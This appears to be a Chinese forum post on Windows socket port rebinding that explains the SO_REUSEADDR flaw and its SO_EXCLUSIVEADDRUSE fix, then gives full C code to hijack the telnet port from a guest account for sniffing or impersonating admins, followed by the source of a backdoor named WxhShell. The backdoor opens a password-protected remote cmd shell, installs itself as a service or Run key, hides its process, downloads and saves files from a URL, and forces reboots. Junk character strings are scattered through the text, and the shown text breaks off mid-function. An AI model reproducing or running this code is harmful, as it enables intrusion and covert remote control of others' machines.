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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :lu "14 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O&sU Pv =i6k[ rg saddr.sin_family = AF_INET; 2InM(p7j~K pcQgWjfS saddr.sin_addr.s_addr = htonl(INADDR_ANY); \eAV: qV ErFt5%FN.O bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?v`24p3PC /#SH`ZK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k%iwt]i% %3.
np 这意味着什么?意味着可以进行如下的攻击: /N,\ st \+&)9 !K 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &da:{ (B%[NC6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qpzyl~g:C ]YOWCFAQot 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4UND;I& +G+1B6S 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 i~)EUF E33WT{H&_' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SiJ{ ]@~%i=.7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F+L%Ho;@P `i+2YCk 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '&$zgK9T? dp4vybJ #include wFjQ1<s= #include / %iS\R%ca #include N^AlhR^ #include mHa~c(x DWORD WINAPI ClientThread(LPVOID lpParam); ab#z&jg! int main() EVE"F'Ww,_ { X":2o|R WORD wVersionRequested; s#8T46? DWORD ret; 9<kMxtk$ WSADATA wsaData; ?mN!9/DIc BOOL val; yo%Nz" SOCKADDR_IN saddr; `?f<hIJoz SOCKADDR_IN scaddr; M1T . int err; m"6K_4r] SOCKET s; p#3G=FV SOCKET sc;
m3^D~4 int caddsize; mx#)iHY HANDLE mt; sCp)o,; DWORD tid; hegH^IN M wVersionRequested = MAKEWORD( 2, 2 ); ej1WkaR8
err = WSAStartup( wVersionRequested, &wsaData ); d(Hqj#`-31 if ( err != 0 ) { 0fK#:6 printf("error!WSAStartup failed!\n"); (:h&c6'S)b return -1; =W>a ~e]/ } <fA}_BH%] saddr.sin_family = AF_INET; ltMcEv-d0 =
uepg@J //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =@q,/FR- UMT}2d% saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }J2f$l>R saddr.sin_port = htons(23); q(4Ny<=,'K if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .u`A4;;Gw { {xOzxLB; printf("error!socket failed!\n"); }SyK)W5Y return -1; THB[(3q } zU!d(ge.E
val = TRUE; 7!)VOD8Z //SO_REUSEADDR选项就是可以实现端口重绑定的 PYzTKjw
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cr?ZXu_ { edZBQmx+# printf("error!setsockopt failed!\n"); %(H'
j@D[ return -1; ^NM>xIenf } F+j"bhe //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Vr;>Im //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7|"$YV'DM //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JbMp / 8Qj1%Ri:U if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9[DlJ@T} { ePxAZg$ `> ret=GetLastError(); *)oBE{6D printf("error!bind failed!\n"); `B,R+==G: return -1; sGpAaGY> } fzAkUvo listen(s,2); G>jC+0nkry while(1) q'IMt7} { O7yj< caddsize = sizeof(scaddr); r=p^~tuyxr //接受连接请求 AJ3Byb=. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cIK4sOTJ& if(sc!=INVALID_SOCKET) _1WA:7$C { .Yz^r?3t mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +ZFN8 if(mt==NULL) M&sQnPFH { NLUO{'uUW printf("Thread Creat Failed!\n"); t**d{P+ break; m9]Ge] } 1u(n[<WtT_ } {Z
Ld_VGW CloseHandle(mt); IGab~`c-[ } DJqJ6 z:' closesocket(s); zsR5"Vi= WSACleanup(); =.JcIT'
return 0; dP>FXgY } gv i!|!M= DWORD WINAPI ClientThread(LPVOID lpParam) _'^_9u G { g_?Q3 SOCKET ss = (SOCKET)lpParam; )n[=)"rf SOCKET sc; DbtkWq% unsigned char buf[4096]; 6\.LG4@LO SOCKADDR_IN saddr; \'|t>|zhp long num; n-,mC/4 DWORD val; }wI+eMr DWORD ret; $ub0$S/Hu //如果是隐藏端口应用的话,可以在此处加一些判断 VN$7r //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 YkFERIa076 saddr.sin_family = AF_INET; ,p!IFS` saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rEbH<| saddr.sin_port = htons(23); .'h^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bQ&%6'ck { ml!c0< printf("error!socket failed!\n"); BxZ7Bk return -1; kpNp}b8'] } tZFpxyF
val = 100; 'Asr,[]? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @xBO[v { <Q`3;ca^ ret = GetLastError(); %|>D{q6C return -1; Q
;5A~n } 6#\:J0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u1d%wOY {
bf2r8 ret = GetLastError(); PzhC *" i} return -1; 2U"2L^oKI } :JZV=@<T if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9E0x\%2K { FU.?n)P printf("error!socket connect failed!\n"); I[w5V;>* closesocket(sc); 8!@}\6qM closesocket(ss); *O\lR-z!k return -1; wm9wnAy } ;:>q;% while(1) j*;.>akY7 { \~t!M~H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 TmM~uc7mj //如果是嗅探内容的话,可以再此处进行内容分析和记录 %az6\"n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G)_Zls2; num = recv(ss,buf,4096,0); L]&y[/\E1 if(num>0) ;d_<6|*M send(sc,buf,num,0); <=w!: else if(num==0) !4 lN[ break; 4gWlSm) num = recv(sc,buf,4096,0); &] xtx>qg< if(num>0) )r)ZmS5O send(ss,buf,num,0); Gvvw:]WgF else if(num==0) <aI}+ break; Cb.M } `U>2H4P closesocket(ss); (v?
rZv closesocket(sc); v"o@q2f_ return 0 ; 3preBs#i } Z)@[N
6\? >ffC?5+ L=M'QJl9 ========================================================== U;"J8
C?'s 下边附上一个代码,,WXhSHELL ]^i^L ]9JH.fF ========================================================== E\cX S_RP&+!7 #include "stdafx.h" |Q";a:&$ ?5,I`9 #include <stdio.h> ZvO1=*
J, #include <string.h> ~`B]G #include <windows.h> W/CZ/Mc #include <winsock2.h> |YfJ#Agm+ #include <winsvc.h> _={mKKoHs #include <urlmon.h> 6:`[Fi ?32i1F! #pragma comment (lib, "Ws2_32.lib") \C$cbI=;+ #pragma comment (lib, "urlmon.lib") qElPYN*wF Nw-U*y #define MAX_USER 100 // 最大客户端连接数 h(4\k?C5 #define BUF_SOCK 200 // sock buffer jpoNTl' #define KEY_BUFF 255 // 输入 buffer rls{~ZRl x~{W(;`! #define REBOOT 0 // 重启 N%1nii #define SHUTDOWN 1 // 关机 vg_PMy\ x\VP
X #define DEF_PORT 5000 // 监听端口 8s-X H `0!%jz= #define REG_LEN 16 // 注册表键长度 @U1t~f^ #define SVC_LEN 80 // NT服务名长度 P97i<pB Y_ 6E^9> // 从dll定义API |
q elvK* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `VDvxl@1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DnW/q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &F Yv4J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (N)>?r@n` uK1VFW // wxhshell配置信息 R\/tKZJjb struct WSCFG { JeA_mtSQ| int ws_port; // 监听端口 K]|hkp& char ws_passstr[REG_LEN]; // 口令 mQ:YHtHE.F int ws_autoins; // 安装标记, 1=yes 0=no yx ;K&> char ws_regname[REG_LEN]; // 注册表键名 +kD JZ char ws_svcname[REG_LEN]; // 服务名 $d,{I8d char ws_svcdisp[SVC_LEN]; // 服务显示名 s'IB{lJ9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 l
m(mY$B*_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kf9]nIo int ws_downexe; // 下载执行标记, 1=yes 0=no imhE=6{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" l0g+OMt char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [qkc6sqo (XFF}~>B. }; 2+g'ul` W ,v0~ // default Wxhshell configuration wqJl[~O$ struct WSCFG wscfg={DEF_PORT, pE X Q "xuhuanlingzhe", 1&9w]\Ae7l 1, 40dwp*/! "Wxhshell", *!3qO^b? "Wxhshell", pZt>rv "WxhShell Service", %mzDmrzq "Wrsky Windows CmdShell Service", NGO?K? "Please Input Your Password: ", 8qxZ7|Y@ 1, XJ" xMv " http://www.wrsky.com/wxhshell.exe", T\:*+W37 "Wxhshell.exe"
&Mt0Qa[ }; dNov= w [6/8O // 消息定义模块 x(~V7L>"i char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ap |g[J char *msg_ws_prompt="\n\r? for help\n\r#>"; \(`C*d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; L&uPNcZ`- char *msg_ws_ext="\n\rExit."; IMzt1l
=7 char *msg_ws_end="\n\rQuit."; =e9<.{]S/ char *msg_ws_boot="\n\rReboot..."; M&H,`gm char *msg_ws_poff="\n\rShutdown..."; ocp char *msg_ws_down="\n\rSave to "; `G:hC5B t\Qm2Q)> char *msg_ws_err="\n\rErr!"; Vh]=sd<F char *msg_ws_ok="\n\rOK!"; s;]"LD@ gi)C5J4
char ExeFile[MAX_PATH]; OqmW lN.? int nUser = 0; ,6"[vb#*3 HANDLE handles[MAX_USER]; aOsc_5XDR; int OsIsNt; %e|UA-( &4l!2 SERVICE_STATUS serviceStatus; [MKt\( SERVICE_STATUS_HANDLE hServiceStatusHandle; }h8U.k?v 0 wDhX // 函数声明 w]V684[> int Install(void); Ub4)x int Uninstall(void); s*eM}d.p int DownloadFile(char *sURL, SOCKET wsh); ")nKFs5 int Boot(int flag); Z^mQb2e. void HideProc(void); /BhP`a%2Q int GetOsVer(void); IMpL+W. int Wxhshell(SOCKET wsl); Ke~!1S8= void TalkWithClient(void *cs); |t;Ktl int CmdShell(SOCKET sock); T|
R!Aw. int StartFromService(void); nB5^ int StartWxhshell(LPSTR lpCmdLine); g9d/nRX& D}-HWJQA3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P*hYh5a VOID WINAPI NTServiceHandler( DWORD fdwControl ); !FB2\hiM 1 CV? // 数据结构和表定义 :R$v7{1 SERVICE_TABLE_ENTRY DispatchTable[] = MiF(
&# { 'A1y~x#2B {wscfg.ws_svcname, NTServiceMain}, w7vQ6jkH {NULL, NULL} -Y N(j\ }; 0}T56aD=! jW[EjhsH // 自我安装 st#^pWL int Install(void) r|/9'{! { qQ,(O5$| char svExeFile[MAX_PATH]; dwiLu& ]u HKEY key; +8GxX$ strcpy(svExeFile,ExeFile); Gvr>n@n '] _7Xa' // 如果是win9x系统,修改注册表设为自启动 .t{uzDM if(!OsIsNt) { N%u4uLP5k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t$R0UprK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vB5mOXGN q RegCloseKey(key); [?g}<fa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pK/RkA1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yWr&G@>G RegCloseKey(key); %L-{4Z!"sI return 0; fQ_tXY } -Q ];o~ } Vn_>c#B } WM=)K1p0u else { $%ww$3 %Rk0sfLvn // 如果是NT以上系统,安装为系统服务 FEBRUk6.h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tlI]);iE, if (schSCManager!=0) *ODc[k'( { <UGM/+aO SC_HANDLE schService = CreateService ygUX ]*m! ( CL t(_!q schSCManager, wGHVq
fm5 wscfg.ws_svcname, W4h ]4X wscfg.ws_svcdisp, sp0_f;bC SERVICE_ALL_ACCESS, ?;w\CS^Qu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I^D*) z SERVICE_AUTO_START, b8$%=Xp SERVICE_ERROR_NORMAL, 1WY$Vs svExeFile, (@O,U NULL, >}u#KBedE NULL, D?H|O[ NULL, Us> NULL, 8*uaI7;* NULL !&v"+ K3lU ); t6)R37 if (schService!=0) |;U3pq) { VHL[Y CloseServiceHandle(schService); q'X#F8v CloseServiceHandle(schSCManager); RGY#0 .Z} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bPl'?3 strcat(svExeFile,wscfg.ws_svcname); a@?ebCE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ma`sv<f4-! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7a.iT-* RegCloseKey(key); Vu<mOuh return 0; OSC_-[b- } Fg2/rC:_ } cn9=wm\\ CloseServiceHandle(schSCManager); \z.p [;'ir } |I.5]r-EK } GB6(WAmr -,$:^4 return 1; oiz]Bd } 1 Va@w li}>xDSQ4 // 自我卸载 wMM1Q/-# int Uninstall(void) a4q02 cV { &kH7_Lz HKEY key; =v{ R(IX% -^rdB6O6j if(!OsIsNt) { qJXfc||Zg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |CBJ8],mT RegDeleteValue(key,wscfg.ws_regname); KF`mOSP RegCloseKey(key); hm1.UE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;*20b@ RegDeleteValue(key,wscfg.ws_regname); ~AF'
6"A RegCloseKey(key); T7M];@q return 0; obgO-d9l } Ti#x62X{ } mx2Ov u } 7~H$p X else { a]I~.$G
M%Q_;\?] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AJP-7PPD if (schSCManager!=0) gO]8hLT { :1#$p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +^4HCyW if (schService!=0) W9A F} { G[P<!6Id!p if(DeleteService(schService)!=0) { 1L3 $h0i CloseServiceHandle(schService); ]v$ 2JgF]@ CloseServiceHandle(schSCManager); #Jfmt~ks' return 0; o;pJjC] } )/bv@Am CloseServiceHandle(schService); Ek '%%% } \6/!{D, CloseServiceHandle(schSCManager); 4HGR-S/ } RRGs:h@; } krXU*64 u>2opI~m return 1; yJ8_<A } 9}d^ll& TZObjSm_v // 从指定url下载文件
lhF)$M int DownloadFile(char *sURL, SOCKET wsh) Js9EsN% { _wZr`E) HRESULT hr; Wtflw>- char seps[]= "/"; @^b>S6d" char *token; u4[rA2Bf8E char *file; m!Aw,*m+* char myURL[MAX_PATH]; =%;TVJk*a char myFILE[MAX_PATH]; }y%mG&KSz XBTjb strcpy(myURL,sURL);
_+&/P& token=strtok(myURL,seps); QEY#U| while(token!=NULL) byIP]7Ld { {\
BFWGX file=token; "s\himoa token=strtok(NULL,seps); /J&_ZDNV~ } LT/*y= ,WS{O6O7 GetCurrentDirectory(MAX_PATH,myFILE); iUf?MDE strcat(myFILE, "\\"); "u"?~ strcat(myFILE, file); tLGNYW!K send(wsh,myFILE,strlen(myFILE),0); j<A; i send(wsh,"...",3,0); ,.uI> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .gw6W0\F if(hr==S_OK) 8oP"?ew# return 0; x\5\KGw16 else QV=|'
S return 1; <T$rvS 3MHByT% } R=L-Ulhk ER<Z!*2 // 系统电源模块 snny!
0E\m int Boot(int flag) W0# VD e]> { R^6^{q HANDLE hToken; s&6/fa
TOKEN_PRIVILEGES tkp; G}'\ nD{{/_"' if(OsIsNt) { ]Q{MF- EKj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XC[bEp$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F2$?[1^f tkp.PrivilegeCount = 1; y~rtYI
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )`<7qT_BM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xx[l#+:c if(flag==REBOOT) { bm(.(0MI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K1-y[pS]E return 0; bHmn0fZ9 } ~4ysg[` else { lJU]sZ9~b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cb _nlG! return 0; IjRUL/\= } VOrBNu } }9Awv#+ else { Y9nyKL if(flag==REBOOT) { 3x
E^EXV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NMhI0Ix$w return 0; *6]_ 6xO } [vcSt5R= else { uSNlI78D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @)3orH return 0; ~@'DYZb-
H } jN sM&s, } w#RfD gPy}.g{tH$ return 1; !F#^Peb } e `IL7$ &=v5M9GR] // win9x进程隐藏模块 ;C+
_K S void HideProc(void) Q%_MO`<]$ { ROr| < 6Vy4]jdT5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wZ~eE'zx+ if ( hKernel != NULL ) nbSu|sX~r5 { HmRmZ3~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZgL ]ex ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w(R+p/RF FreeLibrary(hKernel); ag"Nf-o/Y } a*Ng+~5)6 p/Lk'h~ return; Yq-7! } )F%zT[Auph !+ ??3-q // 获取操作系统版本 :.W</o~\s int GetOsVer(void) v^1n.l %E { 4XArpKA OSVERSIONINFO winfo; u$y5?n| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lgh+\pj GetVersionEx(&winfo); 3b1%^@,ACy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p|'Rm]&jb return 1; )zvjsx*e=J else O}q(2[*i return 0; oJVpJA0IA } t3;QF Hp-vBoEk // 客户端句柄模块 hrTl:\ int Wxhshell(SOCKET wsl) @z7$1pl} { .jbT+hhM SOCKET wsh; qJ<Ghd`8v struct sockaddr_in client; ZTK)N DWORD myID; Oftjm
X_ 8DZ
OPA while(nUser<MAX_USER) h>&t``< { >D*%1LH~V int nSize=sizeof(client); ,HfdiGs}j wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R ;3!?` if(wsh==INVALID_SOCKET) return 1; -5Ln3\ O@ 7B#HF?,? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6YYDp&nqEj if(handles[nUser]==0) z#{%[X2 closesocket(wsh); K{]\}7+
else 17B` nUser++; gYvT'72 } N1espc@j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NIxtT>[+3 teg[l-R"7z return 0; pDG>9P#mO } 6ragRS/'x G0pqiU6 // 关闭 socket A=pyaU`aE void CloseIt(SOCKET wsh) TvwkeOS#}7 { qM:*!Aq0g closesocket(wsh); A,! YXl[ nUser--; bDM;7fFp$ ExitThread(0); :V:siIDn } 5D`!Tu3 R(<_p"9( // 客户端请求句柄 6gJc?+ void TalkWithClient(void *cs) gL6.,4q+1 { rJ fO/WK
:A]CD( SOCKET wsh=(SOCKET)cs; @y{
f>nm char pwd[SVC_LEN]; wxo{gBq char cmd[KEY_BUFF]; ueV,p?Wo char chr[1]; 3\&I7o3V int i,j; cg'z:_l wTPHc:2 while (nUser < MAX_USER) { #]FJx OK=ANQjs( if(wscfg.ws_passstr) { .vhEm6wJUM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EF[I@voc //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (pkq{: Fs //ZeroMemory(pwd,KEY_BUFF); t
gHXIr}3 i=0; G;v3kGn while(i<SVC_LEN) { #EX NS r yU< "tg E // 设置超时 ]5j1p6;(` fd_set FdRead; uw9w{3]0f struct timeval TimeOut; <l"rn M% FD_ZERO(&FdRead); fIm=^}?fwK FD_SET(wsh,&FdRead); W3-g]#\? TimeOut.tv_sec=8; vON1\$bu` TimeOut.tv_usec=0; cK~VNzsz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3pI) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 299uZz}Y %n:ymc
$} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "c0Nv8_G pwd =chr[0]; 5!}fd/}Uk if(chr[0]==0xd || chr[0]==0xa) { ,S\AUUt% pwd=0; : tcqb2p break; ({kOgOeC } {^*D5 i++; f^9ntos| } E8PlGQ~z{d xzOM\Nq?O // 如果是非法用户,关闭 socket `Fs- z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P'D'+qS } %~^:[@xa* 'w~e>$WI send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [eO6H2@=z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XZ[3v9?&n MFO1v%m while(1) { !DNk!]| LXx`Vk>ky ZeroMemory(cmd,KEY_BUFF); e?
n8S &<oDl_^ // 自动支持客户端 telnet标准 #i0f}& j=0; QsH?qI&2jp while(j<KEY_BUFF) { eCXw8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PHQ99&F1 cmd[j]=chr[0]; pm k;5 d if(chr[0]==0xa || chr[0]==0xd) { %E`=c]! cmd[j]=0; Q"b62+03 break; |!.VpN& } bx=9XZ9g j++;
zv HeoM, } /[#5<; ]sG^a7Z.X // 下载文件 |^$?9Dn9.L if(strstr(cmd,"http://")) { j<C p&}X send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sx}61 ? if(DownloadFile(cmd,wsh)) 40R7@Vaf send(wsh,msg_ws_err,strlen(msg_ws_err),0); FG6mh,C! else ipn0WQG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #x[3@zP. } h$rk]UM/Q else { w@&(=C AG(Gtvw switch(cmd[0]) { 1h#UM6 pQ yH` // 帮助 R1NwtnS case '?': { GP;UuQz send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &1$|KbmV4 break; 7bC)Co#: } { K* // 安装 9>hK4&m^ case 'i': { TxXX}6 if(Install()) m. "T3K send(wsh,msg_ws_err,strlen(msg_ws_err),0); El4SL'E@ else BhC>G2 ^7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Spt;m0W90 break; +W[NgUrGJ } mr\C
// 卸载 [3fmhc case 'r': { l~*D
jr~ if(Uninstall()) ]Wdnr1d~8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); <^Sp4J else wzz>N@| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KB6`OT^b{r break; ooIA#u } 4oA9|}<FR // 显示 wxhshell 所在路径 tB==v{t case 'p': { |]'0z0> char svExeFile[MAX_PATH]; C}8 3t~Q strcpy(svExeFile,"\n\r"); k~HS_b*]d strcat(svExeFile,ExeFile); gtlyQ
_V send(wsh,svExeFile,strlen(svExeFile),0); ?)L X4GY break; ]q CCCI` } ^F4h: // 重启 bA8RoC case 'b': { JPGEE1!B{b send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q_[V9 if(Boot(REBOOT)) Z"Byv.yq b send(wsh,msg_ws_err,strlen(msg_ws_err),0); +[Zcz4\9 else { ^b@&O-&s closesocket(wsh); o0\d`0-el ExitThread(0); 2V)qnMxAZJ } j2%?-(U break; Os"T,`F2s } $KMxq= // 关机 6h3TU,$r case 'd': { fs;pX/:FR send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4NxI:d$&* if(Boot(SHUTDOWN)) ePxwN? send(wsh,msg_ws_err,strlen(msg_ws_err),0); .}x:yKyi@ else { P2>Y0"bY closesocket(wsh); \YrvH ExitThread(0); 3~6,fTMz{ } odNHyJS0 break; c3q @]|aI } [2Ot=t6] // 获取shell D;QV`Z%I case 's': { v!77dj 6I CmdShell(wsh); 85 <%L:EC closesocket(wsh); /Ym!%11` ExitThread(0); Mv#\+|p 1x break; tX
3y{W10" } A&/VO$Y9wp // 退出 IBSoAL case 'x': { mj_V6`m4 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6V^KOG CloseIt(wsh); oES4X{, break; ST7Xgma- } Fb&WwGY,P // 离开 m?_@.O@] case 'q': { A
^U`c'$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1G62Qu$O closesocket(wsh); 4oywP^I WSACleanup(); t o2y#4'. exit(1); UgAG2 break; vQhi2J' } ruK,Z,3Q }
fgE Mn; } ;/|3U7{c >C"QV`+ // 提示信息 /{HK0fd if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X'XH-E } k*Vf2O3${ } "'\f?A9 XX|wle1Kg return; 2z615?2_U } #uillSV ti}G/*4 // shell模块句柄 11jDAA(| int CmdShell(SOCKET sock) \(a!U,]LM { tFKR~?Gc STARTUPINFO si; vB;$AFh{ ZeroMemory(&si,sizeof(si)); N_qKIc_R
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v'X=|$75 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T^XU5qgN PROCESS_INFORMATION ProcessInfo; \B1<fF2 char cmdline[]="cmd"; ?QfomTT CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !|`vW{v return 0; ;OD+6@Sr } SF?s^ 3&ES?MyB# // 自身启动模式 IQA<xqX int StartFromService(void) ;$>wuc'L { Imm|5-qJ typedef struct #RWH k { rm nfyn DWORD ExitStatus; k<cv80lhK DWORD PebBaseAddress; aB+B1YdY" DWORD AffinityMask; Z4aK DWORD BasePriority; ;?'=*+'> ULONG UniqueProcessId; jFThW N ULONG InheritedFromUniqueProcessId; iz pFl@WS } PROCESS_BASIC_INFORMATION; j~:N8(= lM'yj}:~ PROCNTQSIP NtQueryInformationProcess; RFzMah?Q=j @E5}v static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4bZ
